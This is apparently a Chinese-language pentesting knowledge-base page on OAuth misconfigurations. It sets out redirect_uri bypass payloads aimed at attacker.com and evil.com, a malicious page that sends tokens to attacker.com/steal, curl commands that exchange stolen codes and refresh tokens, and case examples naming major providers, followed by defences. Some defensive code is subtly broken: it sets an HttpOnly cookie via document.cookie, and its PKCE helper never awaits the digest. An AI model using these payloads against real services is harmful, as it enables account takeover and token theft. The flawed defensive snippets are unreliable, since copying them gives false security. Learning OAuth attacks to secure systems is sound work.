---
title: "OAuth 配置错误"
weight: 35
date: "2026-03-09T08:58:49+08:00"
lastmod: "2026-03-09T08:58:49+08:00"
---

## 漏洞概述

OAuth 2.0 是广泛使用的授权协议，但由于配置复杂，常出现重定向 URI 绕过、令牌泄露、权限过度等安全问题。

**OWASP Top 10**: A07:2021 (Identification and Authentication Failures)  
**危害等级**: ⭐⭐⭐⭐

---

## OAuth 流程

```
┌─────────┐      ┌─────────┐      ┌─────────┐
│  Client │      │  Auth   │      │ Resource│
│ (App)   │─────▶│  Server │─────▶│  Server │
└─────────┘      └─────────┘      └─────────┘
     │                │                │
     │ 1. Auth Request│                │
     │───────────────▶│                │
     │                │                │
     │ 2. User Login  │                │
     │◀──────────────▶│                │
     │                │                │
     │ 3. Auth Code   │                │
     │◀───────────────│                │
     │                │                │
     │ 4. Token Request               │
     │───────────────────────────────▶│
     │                │                │
     │ 5. Access Token                │
     │◀───────────────────────────────│
     │                │                │
```

---

## 常见攻击手法

### 1. 重定向 URI 绕过

**原理**: redirect_uri 参数验证不严格，可劫持授权码。

**利用方式**:

```bash
# 原始配置
redirect_uri=https://target.com/callback

# 绕过方式 1: 子域名
redirect_uri=https://attacker.com.target.com/callback

# 绕过方式 2: 路径遍历
redirect_uri=https://target.com/callback@attacker.com

# 绕过方式 3: 参数污染
redirect_uri=https://target.com/callback?redirect_uri=https://attacker.com

# 绕过方式 4: URL 解析差异
redirect_uri=https://target.com.evil.com/callback
redirect_uri=https://evil.com/target.com/callback
```

**实战**:
```bash
# 构造恶意链接
https://oauth-server.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://attacker.com/steal&
  response_type=code&
  scope=read+write

# 用户授权后，授权码发送到 attacker.com
# 攻击者用授权码换取 access_token
```

### 2. 授权码劫持

**原理**: 授权码在传输过程中被截获。

**利用**:
```bash
# 1. 诱导用户点击恶意链接
https://oauth-server.com/authorize?
  client_id=LEGIT_CLIENT&
  redirect_uri=https://attacker.com&
  response_type=code

# 2. 用户授权，授权码发送到 attacker.com
code=AUTH_CODE

# 3. 攻击者换取 token
curl -X POST https://oauth-server.com/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://attacker.com" \
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET"
```

### 3. 隐式流攻击 (Implicit Flow)

**原理**: Implicit Flow 直接在 URL 中返回 token，易被截获。

**利用**:
```bash
# 恶意页面
<script>
  window.location = 'https://oauth-server.com/authorize?' +
    'client_id=CLIENT_ID&' +
    'redirect_uri=https://attacker.com/steal?' +
    'response_type=token';
</script>

# token 在 URL 片段中
https://attacker.com/steal#access_token=TOKEN&token_type=bearer

# JavaScript 可读取
const token = window.location.hash.split('=')[1];
```

### 4. 刷新令牌泄露

**原理**: Refresh Token 长期有效，泄露后可持续访问。

**利用**:
```bash
# 窃取 Refresh Token (XSS/日志泄露)
refresh_token = "1//0e..."

# 持续获取新 Access Token
curl -X POST https://oauth-server.com/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=1//0e..." \
  -d "client_id=CLIENT_ID"
```

### 5. 权限过度 (Scope Escalation)

**原理**: 请求超出应用需要的权限范围。

**利用**:
```bash
# 应用只需要读取邮箱
# 但请求了所有权限
https://oauth-server.com/authorize?
  client_id=CLIENT_ID&
  scope=email+profile+drive+calendar+contacts&
  response_type=code

# 用户可能不注意，授权所有权限
```

### 6. CSRF 攻击

**原理**: 缺少 state 参数验证。

**利用**:
```bash
# 1. 攻击者发起授权请求
https://oauth-server.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://target.com/callback&
  response_type=code
  # 缺少 state 参数

# 2. 用户点击，授权码返回
# 3. 攻击者用自己的账号完成授权
# 4. 受害者账号被绑定到攻击者账号
```

---

## 实战案例

### 案例 1: Facebook OAuth 重定向绕过

```bash
# 漏洞：redirect_uri 验证不严格
https://www.facebook.com/v3.2/dialog/oauth?
  client_id=123456789&
  redirect_uri=https://attacker.com/&
  response_type=code

# 绕过验证
https://www.facebook.com/v3.2/dialog/oauth?
  client_id=123456789&
  redirect_uri=https://attacker.com#facebook.com/&
  response_type=code
```

### 案例 2: Google OAuth 权限提升

```bash
# 请求额外权限
https://accounts.google.com/o/oauth2/auth?
  client_id=CLIENT_ID.apps.googleusercontent.com&
  redirect_uri=https://target.com/oauth2callback&
  scope=email+profile+https://www.googleapis.com/auth/drive&
  response_type=code&
  access_type=offline

# 用户授权后，应用可访问 Google Drive
```

### 案例 3: GitHub OAuth 劫持

```bash
# 1. 诱导用户授权
https://github.com/login/oauth/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://attacker.com/callback

# 2. 获取授权码
code=AUTH_CODE

# 3. 换取 token
curl -X POST https://github.com/login/oauth/access_token \
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET" \
  -d "code=AUTH_CODE"

# 4. 访问用户数据
curl -H "Authorization: token ACCESS_TOKEN" \
  https://api.github.com/user
```

### 案例 4: 微信 OAuth 配置错误

```bash
# redirect_uri 未严格验证
https://open.weixin.qq.com/connect/qrconnect?
  appid=APPID&
  redirect_uri=https://attacker.com/callback&
  response_type=code&
  scope=snsapi_login

# 获取 code 后换取 access_token
https://api.weixin.qq.com/sns/oauth2/access_token?
  appid=APPID&
  secret=SECRET&
  code=CODE&
  grant_type=authorization_code
```

---

## 工具

### OAuth 测试工具

```bash
# oauth2-test-server (本地测试)
git clone https://github.com/nicholasaleks/oauth2-test-server
cd oauth2-test-server
npm install
npm start

# 配置测试场景
# http://localhost:3000/
```

### Burp Suite

```
1. 捕获 OAuth 请求
2. 修改 redirect_uri 参数
3. 发送到 Repeater 测试
4. 使用 Intruder 爆破子域名
```

---

## 防御建议

### 服务端配置

```python
# 1. 严格验证 redirect_uri
from urllib.parse import urlparse

allowed_redirects = [
    'https://target.com/callback',
    'https://app.target.com/callback'
]

def validate_redirect(redirect_uri):
    if redirect_uri not in allowed_redirects:
        raise ValueError("Invalid redirect_uri")
    return True

# 2. 使用 state 参数防止 CSRF
import secrets
state = secrets.token_urlsafe(32)
# 存储在 session 中，回调时验证

# 3. 使用 PKCE (Public Clients)
import hashlib
import base64

code_verifier = secrets.token_urlsafe(32)
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()

# 授权请求
auth_url = f"https://oauth-server.com/authorize?code_challenge={code_challenge}"

# 回调时验证 code_verifier

# 4. 最小权限原则
scope = "email profile"  # 只请求必要的权限

# 5. Token 安全存储
# 使用加密存储，设置合理过期时间
```

### 客户端实现

```javascript
// 1. 使用 PKCE
async function generatePKCE() {
    const verifier = crypto.randomBytes(32).toString('base64url');
    const challenge = crypto.subtle.digest('SHA-256', 
        new TextEncoder().encode(verifier)
    );
    return { verifier, challenge };
}

// 2. 安全存储 Token
// 使用 HttpOnly Cookie
document.cookie = `access_token=${token}; HttpOnly; Secure; SameSite=Lax`;

// 3. Token 刷新
async function refreshToken() {
    const response = await fetch('/refresh', {
        method: 'POST',
        credentials: 'include'
    });
    // 处理新 token
}

// 4. 自动过期
setTimeout(() => {
    logout();
}, token_expiry * 1000);
```

---

## 检查清单

- [ ] redirect_uri 白名单验证
- [ ] state 参数防止 CSRF
- [ ] 使用 PKCE (Public Clients)
- [ ] 最小权限 scope
- [ ] Token 加密存储
- [ ] 合理过期时间
- [ ] Refresh Token 轮换
- [ ] 审计日志记录

---

## 参考链接

- [HackTricks - OAuth](https://book.hacktricks.wiki/pentesting-web/oauth)
- [OWASP OAuth Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html)
- [RFC 6749 - OAuth 2.0](https://tools.ietf.org/html/rfc6749)
- [OAuth 2.0 Security Best Practices](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics)
